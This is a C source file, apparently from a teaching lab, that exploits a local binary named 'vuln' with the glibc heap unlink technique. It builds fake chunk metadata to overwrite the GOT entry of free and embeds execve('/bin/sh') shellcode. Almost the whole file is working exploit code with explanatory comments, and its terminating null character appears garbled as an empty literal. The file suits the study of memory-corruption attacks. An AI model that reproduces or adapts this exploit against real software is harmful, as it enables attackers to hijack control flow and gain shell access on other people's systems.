/* Program to exploit 'vuln' using unlink technique. */ #include <string.h> #include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln". #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./vuln" #define DUMMY 0xdefaced #define PREV_INUSE 0x1
char shellcode[] = /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/ "\xeb\x0assppppffff" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void ) { char * p; char argv1[ 680 + 1 ]; char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1; /* the fd field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the bk field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the fd_nextsize field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the bk_nextsize field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* Copy the shellcode */ memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize of first chunk */ memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) ); p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) ); /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */ *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/ *( (size_t *)p ) = (size_t)( -4 ); p += 4; /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in second chunk's bk field (see below) */ *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; /* the bk field of the second chunk. It should point to shell code address.*/ *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; /* the terminating NUL character */ *p = '';
/* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); } |